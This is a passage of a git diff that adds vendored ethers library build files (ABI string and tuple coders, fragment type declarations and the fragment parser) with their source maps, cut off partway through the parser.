+{"version":3,"file":"string.d.ts","sourceRoot":"","sources":["../../../src.ts/abi/coders/string.ts"],"names":[],"mappings":"AAEA,OAAO,EAAE,KAAK,EAAE,MAAM,aAAa,CAAC;AACpC,OAAO,EAAE,iBAAiB,EAAE,MAAM,YAAY,CAAC;AAE/C,OAAO,KAAK,EAAE,MAAM,EAAE,MAAM,EAAE,MAAM,qBAAqB,CAAC;AAG1D;;GAEG;AACH,qBAAa,WAAY,SAAQ,iBAAiB;gBAElC,SAAS,EAAE,MAAM;IAI7B,YAAY,IAAI,MAAM;IAItB,MAAM,CAAC,MAAM,EAAE,MAAM,EAAE,MAAM,EAAE,MAAM,GAAG,KAAK,GAAG,MAAM;IAItD,MAAM,CAAC,MAAM,EAAE,MAAM,GAAG,GAAG;CAG9B"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/abi/coders/string.js b/node_modules/ethers/lib.commonjs/abi/coders/string.js new file mode 100644 index 000000000000..7370af0115f4 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/abi/coders/string.js @@ -0,0 +1,25 @@ +"use strict"; +Object.defineProperty(exports, "__esModule", { value: true }); +exports.StringCoder = void 0; +const utf8_js_1 = require("../../utils/utf8.js"); +const typed_js_1 = require("../typed.js"); +const bytes_js_1 = require("./bytes.js"); +/** + * @_ignore + */ +class StringCoder extends bytes_js_1.DynamicBytesCoder { + constructor(localName) { + super("string", localName); + } + defaultValue() { + return ""; + } + encode(writer, _value) { + return super.encode(writer, (0, utf8_js_1.toUtf8Bytes)(typed_js_1.Typed.dereference(_value, "string"))); + } + decode(reader) { + return (0, utf8_js_1.toUtf8String)(super.decode(reader)); + } +} +exports.StringCoder = StringCoder; +//# sourceMappingURL=string.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/abi/coders/string.js.map b/node_modules/ethers/lib.commonjs/abi/coders/string.js.map new file mode 100644 index 000000000000..1c65f067f9a3 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/abi/coders/string.js.map @@ -0,0 +1 @@ +{"version":3,"file":"string.js","sourceRoot":"","sources":["../../../src.ts/abi/coders/string.ts"],"names":[],"mappings":";;;AAAA,iDAAgE;AAEhE,0CAAoC;AACpC,yCAA+C;AAK/C;;GAEG;AACH,MAAa,WAAY,SAAQ,4BAAiB;IAE9C,YAAY,SAAiB;QACzB,KAAK,CAAC,QAAQ,EAAE,SAAS,CAAC,CAAC;IAC/B,CAAC;IAED,YAAY;QACR,OAAO,EAAE,CAAC;IACd,CAAC;IAED,MAAM,CAAC,MAAc,EAAE,MAAsB;QACzC,OAAO,KAAK,CAAC,MAAM,CAAC,MAAM,EAAE,IAAA,qBAAW,EAAC,gBAAK,CAAC,WAAW,CAAC,MAAM,EAAE,QAAQ,CAAC,CAAC,CAAC,CAAC;IAClF,CAAC;IAED,MAAM,CAAC,MAAc;QACjB,OAAO,IAAA,sBAAY,EAAC,KAAK,CAAC,MAAM,CAAC,MAAM,CAAC,CAAC,CAAC;IAC9C,CAAC;CACJ;AAjBD,kCAiBC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/abi/coders/tuple.d.ts b/node_modules/ethers/lib.commonjs/abi/coders/tuple.d.ts new file mode 100644 index 000000000000..fe3ec0328844 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/abi/coders/tuple.d.ts @@ -0,0 +1,16 @@ +import { Typed } from "../typed.js"; +import { Coder } from "./abstract-coder.js"; +import type { Reader, Writer } from "./abstract-coder.js"; +/** + * @_ignore + */ +export declare class TupleCoder extends Coder { + readonly coders: ReadonlyArray; + constructor(coders: Array, localName: string); + defaultValue(): any; + encode(writer: Writer, _value: Array | { + [name: string]: any; + } | Typed): number; + decode(reader: Reader): any; +} +//# sourceMappingURL=tuple.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/abi/coders/tuple.d.ts.map b/node_modules/ethers/lib.commonjs/abi/coders/tuple.d.ts.map new file mode 100644 index 000000000000..a7a22ec04984 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/abi/coders/tuple.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"tuple.d.ts","sourceRoot":"","sources":["../../../src.ts/abi/coders/tuple.ts"],"names":[],"mappings":"AAEA,OAAO,EAAE,KAAK,EAAE,MAAM,aAAa,CAAC;AACpC,OAAO,EAAE,KAAK,EAAE,MAAM,qBAAqB,CAAC;AAI5C,OAAO,KAAK,EAAE,MAAM,EAAE,MAAM,EAAE,MAAM,qBAAqB,CAAC;AAE1D;;GAEG;AACH,qBAAa,UAAW,SAAQ,KAAK;IACjC,QAAQ,CAAC,MAAM,EAAG,aAAa,CAAC,KAAK,CAAC,CAAC;gBAE3B,MAAM,EAAE,KAAK,CAAC,KAAK,CAAC,EAAE,SAAS,EAAE,MAAM;IAanD,YAAY,IAAI,GAAG;IA+BnB,MAAM,CAAC,MAAM,EAAE,MAAM,EAAE,MAAM,EAAE,KAAK,CAAC,GAAG,CAAC,GAAG;QAAE,CAAE,IAAI,EAAE,MAAM,GAAI,GAAG,CAAA;KAAE,GAAG,KAAK,GAAG,MAAM;IAKtF,MAAM,CAAC,MAAM,EAAE,MAAM,GAAG,GAAG;CAG9B"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/abi/coders/tuple.js b/node_modules/ethers/lib.commonjs/abi/coders/tuple.js new file mode 100644 index 000000000000..0990ef5adca8 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/abi/coders/tuple.js @@ -0,0 +1,67 @@ +"use strict"; +Object.defineProperty(exports, "__esModule", { value: true }); +exports.TupleCoder = void 0; +const properties_js_1 = require("../../utils/properties.js"); +const typed_js_1 = require("../typed.js"); +const abstract_coder_js_1 = require("./abstract-coder.js"); +const array_js_1 = require("./array.js"); +/** + * @_ignore + */ +class TupleCoder extends abstract_coder_js_1.Coder { + coders; + constructor(coders, localName) { + let dynamic = false; + const types = []; + coders.forEach((coder) => { + if (coder.dynamic) { + dynamic = true; + } + types.push(coder.type); + }); + const type = ("tuple(" + types.join(",") + ")"); + super("tuple", type, localName, dynamic); + (0, properties_js_1.defineProperties)(this, { coders: Object.freeze(coders.slice()) }); + } + defaultValue() { + const values = []; + this.coders.forEach((coder) => { + values.push(coder.defaultValue()); + }); + // We only output named properties for uniquely named coders + const uniqueNames = this.coders.reduce((accum, coder) => { + const name = coder.localName; + if (name) { + if (!accum[name]) { + accum[name] = 0; + } + accum[name]++; + } + return accum; + }, {}); + // Add named values + this.coders.forEach((coder, index) => { + let name = coder.localName; + if (!name || uniqueNames[name] !== 1) { + return; + } + if (name === "length") { + name = "_length"; + } + if (values[name] != null) { + return; + } + values[name] = values[index]; + }); + return Object.freeze(values); + } + encode(writer, _value) { + const value = typed_js_1.Typed.dereference(_value, "tuple"); + return (0, array_js_1.pack)(writer, this.coders, value); + } + decode(reader) { + return (0, array_js_1.unpack)(reader, this.coders); + } +} +exports.TupleCoder = TupleCoder; +//# sourceMappingURL=tuple.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/abi/coders/tuple.js.map b/node_modules/ethers/lib.commonjs/abi/coders/tuple.js.map new file mode 100644 index 000000000000..ad66de8baf15 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/abi/coders/tuple.js.map @@ -0,0 +1 @@ +{"version":3,"file":"tuple.js","sourceRoot":"","sources":["../../../src.ts/abi/coders/tuple.ts"],"names":[],"mappings":";;;AAAA,6DAA6D;AAE7D,0CAAoC;AACpC,2DAA4C;AAE5C,yCAA0C;AAI1C;;GAEG;AACH,MAAa,UAAW,SAAQ,yBAAK;IACxB,MAAM,CAAwB;IAEvC,YAAY,MAAoB,EAAE,SAAiB;QAC/C,IAAI,OAAO,GAAG,KAAK,CAAC;QACpB,MAAM,KAAK,GAAkB,EAAE,CAAC;QAChC,MAAM,CAAC,OAAO,CAAC,CAAC,KAAK,EAAE,EAAE;YACrB,IAAI,KAAK,CAAC,OAAO,EAAE;gBAAE,OAAO,GAAG,IAAI,CAAC;aAAE;YACtC,KAAK,CAAC,IAAI,CAAC,KAAK,CAAC,IAAI,CAAC,CAAC;QAC3B,CAAC,CAAC,CAAC;QACH,MAAM,IAAI,GAAG,CAAC,QAAQ,GAAG,KAAK,CAAC,IAAI,CAAC,GAAG,CAAC,GAAG,GAAG,CAAC,CAAC;QAEhD,KAAK,CAAC,OAAO,EAAE,IAAI,EAAE,SAAS,EAAE,OAAO,CAAC,CAAC;QACzC,IAAA,gCAAgB,EAAa,IAAI,EAAE,EA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;IACjC,CAAC;IAED,MAAM,CAAC,MAAc,EAAE,MAAsD;QACzE,MAAM,KAAK,GAAG,gBAAK,CAAC,WAAW,CAAC,MAAM,EAAE,OAAO,CAAC,CAAC;QACjD,OAAO,IAAA,eAAI,EAAC,MAAM,EAAE,IAAI,CAAC,MAAM,EAAE,KAAK,CAAC,CAAC;IAC5C,CAAC;IAED,MAAM,CAAC,MAAc;QACjB,OAAO,IAAA,iBAAM,EAAC,MAAM,EAAE,IAAI,CAAC,MAAM,CAAC,CAAC;IACvC,CAAC;CACJ;AAvDD,gCAuDC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/abi/fragments.d.ts b/node_modules/ethers/lib.commonjs/abi/fragments.d.ts new file mode 100644 index 000000000000..cafb0a5a3c0e --- /dev/null +++ b/node_modules/ethers/lib.commonjs/abi/fragments.d.ts @@ -0,0 +1,466 @@ +/** + * A fragment is a single item from an ABI, which may represent any of: + * + * - [Functions](FunctionFragment) + * - [Events](EventFragment) + * - [Constructors](ConstructorFragment) + * - Custom [Errors](ErrorFragment) + * - [Fallback or Receive](FallbackFragment) functions + * + * @_subsection api/abi/abi-coder:Fragments [about-fragments] + */ +/** + * A Type description in a [JSON ABI format](link-solc-jsonabi). + */ +export interface JsonFragmentType { + /** + * The parameter name. + */ + readonly name?: string; + /** + * If the parameter is indexed. + */ + readonly indexed?: boolean; + /** + * The type of the parameter. + */ + readonly type?: string; + /** + * The internal Solidity type. + */ + readonly internalType?: string; + /** + * The components for a tuple. + */ + readonly components?: ReadonlyArray; +} +/** + * A fragment for a method, event or error in a [JSON ABI format](link-solc-jsonabi). + */ +export interface JsonFragment { + /** + * The name of the error, event, function, etc. + */ + readonly name?: string; + /** + * The type of the fragment (e.g. ``event``, ``"function"``, etc.) + */ + readonly type?: string; + /** + * If the event is anonymous. + */ + readonly anonymous?: boolean; + /** + * If the function is payable. + */ + readonly payable?: boolean; + /** + * If the function is constant. + */ + readonly constant?: boolean; + /** + * The mutability state of the function. + */ + readonly stateMutability?: string; + /** + * The input parameters. + */ + readonly inputs?: ReadonlyArray; + /** + * The output parameters. + */ + readonly outputs?: ReadonlyArray; + /** + * The gas limit to use when sending a transaction for this function. + */ + readonly gas?: string; +} +/** + * The format to serialize the output as. + * + * **``"sighash"``** - the bare formatting, used to compute the selector + * or topic hash; this format cannot be reversed (as it discards ``indexed``) + * so cannot by used to export an [[Interface]]. + * + * **``"minimal"``** - Human-Readable ABI with minimal spacing and without + * names, so it is compact, but will result in Result objects that cannot + * be accessed by name. + * + * **``"full"``** - Full Human-Readable ABI, with readable spacing and names + * intact; this is generally the recommended format. + * + * **``"json"``** - The [JSON ABI format](link-solc-jsonabi). + */ +export type FormatType = "sighash" | "minimal" | "full" | "json"; +/** + * When [walking](ParamType-walk) a [[ParamType]], this is called + * on each component. + */ +export type ParamTypeWalkFunc = (type: string, value: any) => any; +/** + * When [walking asynchronously](ParamType-walkAsync) a [[ParamType]], + * this is called on each component. + */ +export type ParamTypeWalkAsyncFunc = (type: string, value: any) => any | Promise; +/** + * Each input and output of a [[Fragment]] is an Array of **ParamType**. + */ +export declare class ParamType { + #private; + /** + * The local name of the parameter (or ``""`` if unbound) + */ + readonly name: string; + /** + * The fully qualified type (e.g. ``"address"``, ``"tuple(address)"``, + * ``"uint256[3][]"``) + */ + readonly type: string; + /** + * The base type (e.g. ``"address"``, ``"tuple"``, ``"array"``) + */ + readonly baseType: string; + /** + * True if the parameters is indexed. + * + * For non-indexable types this is ``null``. + */ + readonly indexed: null | boolean; + /** + * The components for the tuple. + * + * For non-tuple types this is ``null``. + */ + readonly components: null | ReadonlyArray; + /** + * The array length, or ``-1`` for dynamic-lengthed arrays. + * + * For non-array types this is ``null``. + */ + readonly arrayLength: null | number; + /** + * The type of each child in the array. + * + * For non-array types this is ``null``. + */ + readonly arrayChildren: null | ParamType; + /** + * @private + */ + constructor(guard: any, name: string, type: string, baseType: string, indexed: null | boolean, components: null | ReadonlyArray, arrayLength: null | number, arrayChildren: null | ParamType); + /** + * Return a string representation of this type. + * + * For example, + * + * ``sighash" => "(uint256,address)"`` + * + * ``"minimal" => "tuple(uint256,address) indexed"`` + * + * ``"full" => "tuple(uint256 foo, address bar) indexed baz"`` + */ + format(format?: FormatType): string; + /** + * Returns true if %%this%% is an Array type. + * + * This provides a type gaurd ensuring that [[arrayChildren]] + * and [[arrayLength]] are non-null. + */ + isArray(): this is (ParamType & { + arrayChildren: ParamType; + arrayLength: number; + }); + /** + * Returns true if %%this%% is a Tuple type. + * + * This provides a type gaurd ensuring that [[components]] + * is non-null. + */ + isTuple(): this is (ParamType & { + components: ReadonlyArray; + }); + /** + * Returns true if %%this%% is an Indexable type. + * + * This provides a type gaurd ensuring that [[indexed]] + * is non-null. + */ + isIndexable(): this is (ParamType & { + indexed: boolean; + }); + /** + * Walks the **ParamType** with %%value%%, calling %%process%% + * on each type, destructing the %%value%% recursively. + */ + walk(value: any, process: ParamTypeWalkFunc): any; + /** + * Walks the **ParamType** with %%value%%, asynchronously calling + * %%process%% on each type, destructing the %%value%% recursively. + * + * This can be used to resolve ENS names by walking and resolving each + * ``"address"`` type. + */ + walkAsync(value: any, process: ParamTypeWalkAsyncFunc): Promise; + /** + * Creates a new **ParamType** for %%obj%%. + * + * If %%allowIndexed%% then the ``indexed`` keyword is permitted, + * otherwise the ``indexed`` keyword will throw an error. + */ + static from(obj: any, allowIndexed?: boolean): ParamType; + /** + * Returns true if %%value%% is a **ParamType**. + */ + static isParamType(value: any): value is ParamType; +} +/** + * The type of a [[Fragment]]. + */ +export type FragmentType = "constructor" | "error" | "event" | "fallback" | "function" | "struct"; +/** + * An abstract class to represent An individual fragment from a parse ABI. + */ +export declare abstract class Fragment { + /** + * The type of the fragment. + */ + readonly type: FragmentType; + /** + * The inputs for the fragment. + */ + readonly inputs: ReadonlyArray; + /** + * @private + */ + constructor(guard: any, type: FragmentType, inputs: ReadonlyArray); + /** + * Returns a string representation of this fragment as %%format%%. + */ + abstract format(format?: FormatType): string; + /** + * Creates a new **Fragment** for %%obj%%, wich can be any supported + * ABI frgament type. + */ + static from(obj: any): Fragment; + /** + * Returns true if %%value%% is a [[ConstructorFragment]]. + */ + static isConstructor(value: any): value is ConstructorFragment; + /** + * Returns true if %%value%% is an [[ErrorFragment]]. + */ + static isError(value: any): value is ErrorFragment; + /** + * Returns true if %%value%% is an [[EventFragment]]. + */ + static isEvent(value: any): value is EventFragment; + /** + * Returns true if %%value%% is a [[FunctionFragment]]. + */ + static isFunction(value: any): value is FunctionFragment; + /** + * Returns true if %%value%% is a [[StructFragment]]. + */ + static isStruct(value: any): value is StructFragment; +} +/** + * An abstract class to represent An individual fragment + * which has a name from a parse ABI. + */ +export declare abstract class NamedFragment extends Fragment { + /** + * The name of the fragment. + */ + readonly name: string; + /** + * @private + */ + constructor(guard: any, type: FragmentType, name: string, inputs: ReadonlyArray); +} +/** + * A Fragment which represents a //Custom Error//. + */ +export declare class ErrorFragment extends NamedFragment { + /** + * @private + */ + constructor(guard: any, name: string, inputs: ReadonlyArray); + /** + * The Custom Error selector. + */ + get selector(): string; + /** + * Returns a string representation of this fragment as %%format%%. + */ + format(format?: FormatType): string; + /** + * Returns a new **ErrorFragment** for %%obj%%. + */ + static from(obj: any): ErrorFragment; + /** + * Returns ``true`` and provides a type guard if %%value%% is an + * **ErrorFragment**. + */ + static isFragment(value: any): value is ErrorFragment; +} +/** + * A Fragment which represents an Event. + */ +export declare class EventFragment extends NamedFragment { + /** + * Whether this event is anonymous. + */ + readonly anonymous: boolean; + /** + * @private + */ + constructor(guard: any, name: string, inputs: ReadonlyArray, anonymous: boolean); + /** + * The Event topic hash. + */ + get topicHash(): string; + /** + * Returns a string representation of this event as %%format%%. + */ + format(format?: FormatType): string; + /** + * Return the topic hash for an event with %%name%% and %%params%%. + */ + static getTopicHash(name: string, params?: Array): string; + /** + * Returns a new **EventFragment** for %%obj%%. + */ + static from(obj: any): EventFragment; + /** + * Returns ``true`` and provides a type guard if %%value%% is an + * **EventFragment**. + */ + static isFragment(value: any): value is EventFragment; +} +/** + * A Fragment which represents a constructor. + */ +export declare class ConstructorFragment extends Fragment { + /** + * Whether the constructor can receive an endowment. + */ + readonly payable: boolean; + /** + * The recommended gas limit for deployment or ``null``. + */ + readonly gas: null | bigint; + /** + * @private + */ + constructor(guard: any, type: FragmentType, inputs: ReadonlyArray, payable: boolean, gas: null | bigint); + /** + * Returns a string representation of this constructor as %%format%%. + */ + format(format?: FormatType): string; + /** + * Returns a new **ConstructorFragment** for %%obj%%. + */ + static from(obj: any): ConstructorFragment; + /** + * Returns ``true`` and provides a type guard if %%value%% is a + * **ConstructorFragment**. + */ + static isFragment(value: any): value is ConstructorFragment; +} +/** + * A Fragment which represents a method. + */ +export declare class FallbackFragment extends Fragment { + /** + * If the function can be sent value during invocation. + */ + readonly payable: boolean; + constructor(guard: any, inputs: ReadonlyArray, payable: boolean); + /** + * Returns a string representation of this fallback as %%format%%. + */ + format(format?: FormatType): string; + /** + * Returns a new **FallbackFragment** for %%obj%%. + */ + static from(obj: any): FallbackFragment; + /** + * Returns ``true`` and provides a type guard if %%value%% is a + * **FallbackFragment**. + */ + static isFragment(value: any): value is FallbackFragment; +} +/** + * A Fragment which represents a method. + */ +export declare class FunctionFragment extends NamedFragment { + /** + * If the function is constant (e.g. ``pure`` or ``view`` functions). + */ + readonly constant: boolean; + /** + * The returned types for the result of calling this function. + */ + readonly outputs: ReadonlyArray; + /** + * The state mutability (e.g. ``payable``, ``nonpayable``, ``view`` + * or ``pure``) + */ + readonly stateMutability: "payable" | "nonpayable" | "view" | "pure"; + /** + * If the function can be sent value during invocation. + */ + readonly payable: boolean; + /** + * The recommended gas limit to send when calling this function. + */ + readonly gas: null | bigint; + /** + * @private + */ + constructor(guard: any, name: string, stateMutability: "payable" | "nonpayable" | "view" | "pure", inputs: ReadonlyArray, outputs: ReadonlyArray, gas: null | bigint); + /** + * The Function selector. + */ + get selector(): string; + /** + * Returns a string representation of this function as %%format%%. + */ + format(format?: FormatType): string; + /** + * Return the selector for a function with %%name%% and %%params%%. + */ + static getSelector(name: string, params?: Array): string; + /** + * Returns a new **FunctionFragment** for %%obj%%. + */ + static from(obj: any): FunctionFragment; + /** + * Returns ``true`` and provides a type guard if %%value%% is a + * **FunctionFragment**. + */ + static isFragment(value: any): value is FunctionFragment; +} +/** + * A Fragment which represents a structure. + */ +export declare class StructFragment extends NamedFragment { + /** + * @private + */ + constructor(guard: any, name: string, inputs: ReadonlyArray); + /** + * Returns a string representation of this struct as %%format%%. + */ + format(): string; + /** + * Returns a new **StructFragment** for %%obj%%. + */ + static from(obj: any): StructFragment; + /** + * Returns ``true`` and provides a type guard if %%value%% is a + * **StructFragment**. + */ + static isFragment(value: any): value is FunctionFragment; +} +//# sourceMappingURL=fragments.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/abi/fragments.d.ts.map b/node_modules/ethers/lib.commonjs/abi/fragments.d.ts.map new file mode 100644 index 000000000000..8ff0a6030145 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/abi/fragments.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"fragments.d.ts","sourceRoot":"","sources":["../../src.ts/abi/fragments.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;GAUG;AAQH;;GAEG;AACH,MAAM,WAAW,gBAAgB;IAC7B;;OAEG;IACH,QAAQ,CAAC,IAAI,CAAC,EAAE,MAAM,CAAC;IAEvB;;OAEG;IACH,QAAQ,CAAC,OAAO,CAAC,EAAE,OAAO,CAAC;IAE3B;;OAEG;IACH,QAAQ,CAAC,IAAI,CAAC,EAAE,MAAM,CAAC;IAEvB;;OAEG;IACH,QAAQ,CAAC,YAAY,CAAC,EAAE,MAAM,CAAC;IAE/B;;OAEG;IACH,QAAQ,CAAC,UAAU,CAAC,EAAE,aAAa,CAAC,gBAAgB,CAAC,CAAC;CACzD;AAED;;GAEG;AACH,MAAM,WAAW,YAAY;IACzB;;OAEG;IACH,QAAQ,CAAC,IAAI,CAAC,EAAE,MAAM,CAAC;IAEvB;;OAEG;IACH,Q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EG;IACH,QAAQ,CAAC,GAAG,EAAG,IAAI,GAAG,MAAM,CAAC;IAE7B;;OAEG;gBACS,KAAK,EAAE,GAAG,EAAE,IAAI,EAAE,MAAM,EAAE,eAAe,EAAE,SAAS,GAAG,YAAY,GAAG,MAAM,GAAG,MAAM,EAAE,MAAM,EAAE,aAAa,CAAC,SAAS,CAAC,EAAE,OAAO,EAAE,aAAa,CAAC,SAAS,CAAC,EAAE,GAAG,EAAE,IAAI,GAAG,MAAM;IAS1L;;OAEG;IACH,IAAI,QAAQ,IAAI,MAAM,CAErB;IAED;;OAEG;IACH,MAAM,CAAC,MAAM,CAAC,EAAE,UAAU,GAAG,MAAM;IAoCnC;;OAEG;IACH,MAAM,CAAC,WAAW,CAAC,IAAI,EAAE,MAAM,EAAE,MAAM,CAAC,EAAE,KAAK,CAAC,GAAG,CAAC,GAAG,MAAM;IAM7D;;OAEG;IACH,MAAM,CAAC,IAAI,CAAC,GAAG,EAAE,GAAG,GAAG,gBAAgB;IAuDvC;;;OAGG;IACH,MAAM,CAAC,UAAU,CAAC,KAAK,EAAE,GAAG,GAAG,KAAK,IAAI,gBAAgB;CAG3D;AAED;;GAEG;AACH,qBAAa,cAAe,SAAQ,aAAa;IAE7C;;OAEG;gBACS,KAAK,EAAE,GAAG,EAAE,IAAI,EAAE,MAAM,EAAE,MAAM,EAAE,aAAa,CAAC,SAAS,CAAC;IAKtE;;OAEG;IACH,MAAM,IAAI,MAAM;IAIhB;;OAEG;IACH,MAAM,CAAC,IAAI,CAAC,GAAG,EAAE,GAAG,GAAG,cAAc;IAmBrC;;;OAGG;IACH,MAAM,CAAC,UAAU,CAAC,KAAK,EAAE,GAAG,GAAG,KAAK,IAAI,gBAAgB;CAG3D"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/abi/fragments.js b/node_modules/ethers/lib.commonjs/abi/fragments.js new file mode 100644 index 000000000000..4bbbe7c6cd10 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/abi/fragments.js @@ -0,0 +1,1331 @@ +"use strict"; +/** + * A fragment is a single item from an ABI, which may represent any of: + * + * - [Functions](FunctionFragment) + * - [Events](EventFragment) + * - [Constructors](ConstructorFragment) + * - Custom [Errors](ErrorFragment) + * - [Fallback or Receive](FallbackFragment) functions + * + * @_subsection api/abi/abi-coder:Fragments [about-fragments] + */ +Object.defineProperty(exports, "__esModule", { value: true }); +exports.StructFragment = exports.FunctionFragment = exports.FallbackFragment = exports.ConstructorFragment = exports.EventFragment = exports.ErrorFragment = exports.NamedFragment = exports.Fragment = exports.ParamType = void 0; +const index_js_1 = require("../utils/index.js"); +const index_js_2 = require("../hash/index.js"); +; +// [ "a", "b" ] => { "a": 1, "b": 1 } +function setify(items) { + const result = new Set(); + items.forEach((k) => result.add(k)); + return Object.freeze(result); +} +const _kwVisibDeploy = "external public payable override"; +const KwVisibDeploy = setify(_kwVisibDeploy.split(" ")); +// Visibility Keywords +const _kwVisib = "constant external internal payable private public pure view override"; +const KwVisib = setify(_kwVisib.split(" ")); +const _kwTypes = "constructor error event fallback function receive struct"; +const KwTypes = setify(_kwTypes.split(" ")); +const _kwModifiers = "calldata memory storage payable indexed"; +const KwModifiers = setify(_kwModifiers.split(" ")); +const _kwOther = "tuple returns"; +// All Keywords +const _keywords = [_kwTypes, _kwModifiers, _kwOther, _kwVisib].join(" "); +const Keywords = setify(_keywords.split(" ")); +// Single character tokens +const SimpleTokens = { + "(": "OPEN_PAREN", ")": "CLOSE_PAREN", + "[": "OPEN_BRACKET", "]": "CLOSE_BRACKET", + ",": "COMMA", "@": "AT" +}; +// Parser regexes to consume the next token +const regexWhitespacePrefix = new RegExp("^(\\s*)"); +const regexNumberPrefix = new RegExp("^([0-9]+)"); +const regexIdPrefix = new RegExp("^([a-zA-Z$_][a-zA-Z0-9$_]*)"); +// Parser regexs to check validity +const regexId = new RegExp("^([a-zA-Z$_][a-zA-Z0-9$_]*)$"); +const regexType = new RegExp("^(address|bool|bytes([0-9]*)|string|u?int([0-9]*))$"); +class TokenString { + #offset; + #tokens; + get offset() { return this.#offset; } + get length() { return this.#tokens.length - this.#offset; } + constructor(tokens) { + this.#offset = 0; + this.#tokens = tokens.slice(); + } + clone() { return new TokenString(this.#tokens); } + reset() { this.#offset = 0; } + #subTokenString(from = 0, to = 0) { + return new TokenString(this.#tokens.slice(from, to).map((t) => { + return Object.freeze(Object.assign({}, t, { + match: (t.match - from), + linkBack: (t.linkBack - from), + linkNext: (t.linkNext - from), + })); + })); + } + // Pops and returns the value of the next token, if it is a keyword in allowed; throws if out of tokens + popKeyword(allowed) { + const top = this.peek(); + if (top.type !== "KEYWORD" || !allowed.has(top.text)) { + throw new Error(`expected keyword ${top.text}`); + } + return this.pop().text; + } + // Pops and returns the value of the next token if it is `type`; throws if out of tokens + popType(type) { + if (this.peek().type !== type) { + const top = this.peek(); + throw new Error(`expected ${type}; got ${top.type} ${JSON.stringify(top.text)}`); + } + return this.pop().text; + } + // Pops and returns a "(" TOKENS ")" + popParen() { + const top = this.peek(); + if (top.type !== "OPEN_PAREN") { + throw new Error("bad start"); + } + const result = this.#subTokenString(this.#offset + 1, top.match + 1); + this.#offset = top.match + 1; + return result; + } + // Pops and returns the items within "(" ITEM1 "," ITEM2 "," ... ")" + popParams() { + const top = this.peek(); + if (top.type !== "OPEN_PAREN") { + throw new Error("bad start"); + } + const result = []; + while (this.#offset < top.match - 1) { + const link = this.peek().linkNext; + result.push(this.#subTokenString(this.#offset + 1, link)); + this.#offset = link; + } + this.#offset = top.match + 1; + return result; + } + // Returns the top Token, throwing if out of tokens + peek() { + if (this.#offset >= this.#tokens.length) { + throw new Error("out-of-bounds"); + } + return this.#tokens[this.#offset]; + } + // Returns the next value, if it is a keyword in `allowed` + peekKeyword(allowed) { + const top = this.peekType("KEYWORD"); + return (top != null && allowed.has(top)) ? top : null; + } + // Returns the value of the next token if it is `type` + peekType(type) { + if (this.length === 0) { + return null; + } + const top = this.peek(); + return (top.type === type) ? top.text : null; + } + // Returns the next token; throws if out of tokens + pop() { + const result = this.peek(); + this.#offset++; + return result; + } + toString() { + const tokens = []; + for (let i = this.#offset; i < this.#tokens.length; i++) { + const token = this.#tokens[i]; + tokens.push(`${token.type}:${token.text}`); + } + return ``; + } +} +function lex(text) { + const tokens = []; + const throwError = (message) => { + const token = (offset < text.length) ? JSON.stringify(text[offset]) : "$EOI"; + throw new Error(`invalid token ${token} at ${offset}: ${message}`); + }; + let brackets = []; + let commas = []; + let offset = 0; + while (offset < text.length) { + // Strip off any leading whitespace + let cur = text.substring(offset); + let match = cur.match(regexWhitespacePrefix); + if (match) { + offset += match[1].length; + cur = text.substring(offset); + } + const token = { depth: brackets.length, linkBack: -1, linkNext: -1, match: -1, type: "", text: "", offset, value: -1 }; + tokens.push(token); + let type = (SimpleTokens[cur[0]] || ""); + if (type) { + token.type = type; + token.text = cur[0]; + offset++; + if (type === "OPEN_PAREN") { + brackets.push(tokens.length - 1); + commas.push(tokens.length - 1); + } + else if (type == "CLOSE_PAREN") { + if (brackets.length === 0) { + throwError("no matching open bracket"); + } + token.match = brackets.pop(); + (tokens[token.match]).match = tokens.length - 1; + token.depth--; + token.linkBack = commas.pop(); + (tokens[token.linkBack]).linkNext = tokens.length - 1; + } + else if (type === "COMMA") { + token.linkBack = commas.pop(); + (tokens[token.linkBack]).linkNext = tokens.length - 1; + commas.push(tokens.length - 1); + } + else if (type === "OPEN_BRACKET") { + token.type = "BRACKET"; + } + else if (type === "CLOSE_BRACKET") { + // Remove the CLOSE_BRACKET + let suffix = tokens.pop().text; + if (tokens.length > 0 && tokens[tokens.length - 1].type === "NUMBER") { + const value = tokens.pop().text; + suffix = value + suffix; + (tokens[tokens.length - 1]).value = (0, index_js_1.getNumber)(value); + } + if (tokens.length === 0 || tokens[tokens.length - 1].type !== "BRACKET") { + throw new Error("missing opening bracket"); + } + (tokens[tokens.length - 1]).text += suffix; + } + continue; + } + match = cur.match(regexIdPrefix); + if (match) { + token.text = match[1]; + offset += token.text.length; + if (Keywords.has(token.text)) { + token.type = "KEYWORD"; + continue; + } + if (token.text.match(regexType)) { + token.type = "TYPE"; + continue; + } + token.type = "ID"; + continue; + } + match = cur.match(regexNumberPrefix); + if (match) { + token.text = match[1]; + token.type = "NUMBER"; + offset += token.text.length; + continue; + } + throw new Error(`unexpected token ${JSON.stringify(cur[0])} at position ${offset}`); + } + return new TokenString(tokens.map((t) => Object.freeze(t))); +} +// Check only one of `allowed` is in `set` +function allowSingle(set, allowed) { + let included = []; + for (const key in allowed.keys()) { + if (set.has(key)) { + included.push(key); + } + } + if (included.length > 1) { + throw new Error(`conflicting types: ${included.join(", ")}`); + } +} +// Functions to process a Solidity Signature TokenString from left-to-right for... +// ...the name with an optional type, returning the name +function consumeName(type, tokens) { + if (tokens.peekKeyword(KwTypes)) { + const keyword = tokens.pop().text; + if (keyword !== type) { + throw new Error(`expected ${type}, got ${keyword}`); + } + } + return tokens.popType("ID"); +} +// ...all 